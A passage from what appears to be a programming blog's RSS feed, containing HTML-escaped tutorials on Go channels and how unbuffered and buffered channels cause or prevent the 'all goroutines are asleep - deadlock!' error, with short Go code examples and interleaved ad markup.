(max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;blocking-operations&#34;&gt;Blocking operations&lt;/h2&gt;&#xA;&lt;p&gt;In go, operations that send or receive channel values are blocking inside their own goroutine (remember that the &lt;em&gt;main&lt;/em&gt; function is a goroutine), i.e., they keep code execution waiting:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If an operation receives information from a channel, it will be blocked until it receives it.&lt;/li&gt;&#xA;&lt;li&gt;If an operation sends information to a channel, it will be blocked until the sent information is received.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Knowing the two previous situations we will have two main cases:&lt;/p&gt;&#xA;&lt;h3 id=&#34;blocking-or-deadlock-due-to-lack-of-sender&#34;&gt;Blocking or deadlock due to lack of sender&lt;/h3&gt;&#xA;&lt;p&gt;What if an operation is waiting to receive information from a channel, but that channel is never going to send anything?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;It happens when there is a channel that receives information, but not one that sends it.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1760308345/coffee-bytes/deadlock-sender-go_gbdaas.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1760308345/coffee-bytes/deadlock-sender-go_gbdaas.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Deadlock due to lack of input channel&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;There is no operation that sends data through a channel.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;c)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// fatal error: all goroutines are asleep - deadlock!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;blocking-or-deadlock-for-lack-of-recipient&#34;&gt;Blocking or deadlock for lack of recipient&lt;/h3&gt;&#xA;&lt;p&gt;What if an operation sends information to a channel but there is no longer any other goroutine receiving information from that channel?&lt;/p&gt;&#xA;&lt;p&gt;It happens when there is a channel that sends information, but not one that receives it.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1760308345/coffee-bytes/deadlock-receiver-go_dpi9hq.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1760308345/coffee-bytes/deadlock-receiver-go_dpi9hq.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Deadlock due to lack of output channel&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;In a deaclock due to lack of output channel there is no operation that receives text through a channel.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// fatal error: all goroutines are asleep - deadlock!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;blocking-by-absence-of-goroutine&#34;&gt;Blocking by absence of goroutine&lt;/h3&gt;&#xA;&lt;p&gt;There is a third case: if there is an operation that writes to and reads from a channel, as in the example below, but it is not inside another goroutine (different from the main goroutine) that reads the value, we will get a deadlock error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; channel = &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    channel &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;forty two&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;channel) &lt;span style=&#34;color:#78787e&#34;&gt;// This should be in other goroutine&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Finished&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// fatal error: all goroutines are asleep - deadlock!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the three previous cases the program would be waiting and, as you know, &lt;strong&gt;it makes no sense to keep the program waiting for something that will never happen&lt;/strong&gt;, so the execution is aborted and the fatal error &amp;ldquo;&lt;em&gt;fatal error: all goroutines are asleep - deadlock!&lt;/em&gt;&amp;rdquo; is generated.&lt;/p&gt;&#xA;&lt;p&gt;The above situation is referred to as a &lt;em&gt;deadlock&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;deadlocks-or-dead-spots&#34;&gt;Deadlocks or dead spots&lt;/h2&gt;&#xA;&lt;p&gt;In a deadlock there is a goroutine waiting to read or write to a channel, however there is no goroutine running because they are waiting for each other; they are in a deadlock from which no progress can be made.&lt;/p&gt;&#xA;&lt;h3 id=&#34;prevent-deadlocks-on-go-with-goroutines&#34;&gt;Prevent deadlocks on go with goroutines&lt;/h3&gt;&#xA;&lt;p&gt;In the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-use-of-channels-to-communicate-goroutines/&#34;&gt;introduction to channels in go post&lt;/a&gt;&#xA;, I told you that the &lt;strong&gt;default capacity of a channel is 0&lt;/strong&gt;, this causes that we cannot store data in the channels by default. If we try to store a data in a channel, we will get an error from the compiler, because there is no other goroutine to receive the value immediately.&lt;/p&gt;&#xA;&lt;p&gt;To prevent a deadlock, we can immediately use the channel data by creating a goroutine that uses the channel value.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; channel = &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;(channel &lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        channel &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;42&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }(channel)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;channel)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Finished&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// No ocurre el error de deadlock&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In this case I have created a goroutine with an anonymous function that reads from the channel.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-to-prevent-deadlocks-and-all-goroutines-are-asleep-error-in-go-using-buffered-channels&#34;&gt;How to prevent deadlocks and all goroutines are asleep error in go using buffered channels&lt;/h2&gt;&#xA;&lt;p&gt;If a channel does not have buffer, the value remains &amp;ldquo;retained&amp;rdquo; until it is received, blocking the execution while it happens, causing the deadlock or deadlock if no one receives it.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, if the channel is buffered, then execution is blocked until the value has been copied to the buffer, so we will not get an error, even if no goroutine receives it.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1760308345/coffee-bytes/deadlocks-prevencion-go-1_vq04c2.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1760308345/coffee-bytes/deadlocks-prevencion-go-1_vq04c2.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Schematic of deadlock prevention in go&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;In a buffered channel it does not matter if the value is not read because it has already been copied to the buffer.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; channel = &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    channel &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;42&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;channel)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Finished&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// No deadlock error&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;more-resources-on-deadlocks-in-go&#34;&gt;More resources on deadlocks in go&lt;/h2&gt;&#xA;&lt;p&gt;To conclude the article, I&amp;rsquo;ll share with you some interesting resources about deadlocks in Go that I consider worth mentioning.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://gist.github.com/YumaInaura/8d52e73dac7dc361745bf568c3c4ba37&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Golang - Understanding channel, buffer, blocks, deadlocks and gorotuines&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://stackoverflow.com/questions/61759204/why-a-go-routine-block-on-channel-is-considered-as-deadlock&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Why a goroutine block on channel is considered as deadlock?&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/doc/effective_go#channels&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Effective go, channels&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;When working with channels there is a quite common error that occurs when you are not familiar with the concepts, the error is &amp;ldquo;&lt;em&gt;fatal error: all goroutines are asleep - deadlock!&lt;/em&gt;&amp;rdquo;. The first time I saw this error I was perplexed and, although I knew how to fix it, I didn&amp;rsquo;t understand why it happened, so in this post I explain why it happens as I would have liked to have read it at the time.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: use of channels to communicate goroutines</title>
      <link>https://coffeebytes.dev/en/go/go-use-of-channels-to-communicate-goroutines/</link>
      <pubDate>Sat, 22 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-use-of-channels-to-communicate-goroutines/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;So far I have explained how to run a goroutine, execute code concurrently with the goroutines and wait for them to finish executing but our goroutines can&amp;rsquo;t do anything else, they can&amp;rsquo;t cooperate with each other to speed up the processes.&lt;/p&gt;&#xA;&lt;p&gt;Imagine you have a web scrapper that gets data from the internet concurrently; we get the data with goroutines and process it with goroutines. do we have to wait for all the goroutines to finish to use it? Ideally, the goroutines should communicate with each other the data and continue processing.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;communicating-goroutines-with-channels&#34;&gt;Communicating goroutines with channels&lt;/h2&gt;&#xA;&lt;p&gt;Channels are &amp;ldquo;conduits&amp;rdquo; that accept a single type of data. Through these channels we &amp;ldquo;introduce&amp;rdquo; information that we can later &amp;ldquo;take out&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;The goroutines can send data to the channels and also read data from them, thus communicating with each other.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-use-of-channels-to-communicate-goroutines/images/channels-en-go.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-use-of-channels-to-communicate-goroutines/images/channels-en-go.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Schematic diagram of how a channel works in go&#34; width=&#34;1200&#34; height=&#34;800&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Basic diagram of how channels work in Go&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;A channel in go is declared with &lt;em&gt;make&lt;/em&gt; and the word &lt;em&gt;chan&lt;/em&gt;, which refers to the word channel.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Channels are used to communicate goroutines, as in the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/worker-pool-design-pattern-explanation/&#34;&gt;worker-pool design pattern&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;channels-or-buffered-channels&#34;&gt;Channels or buffered channels&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;em&gt;make&lt;/em&gt; function allows you to pass as an extra argument the limit amount of simultaneous data to be handled by that channel. **This is known as a buffered channel.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 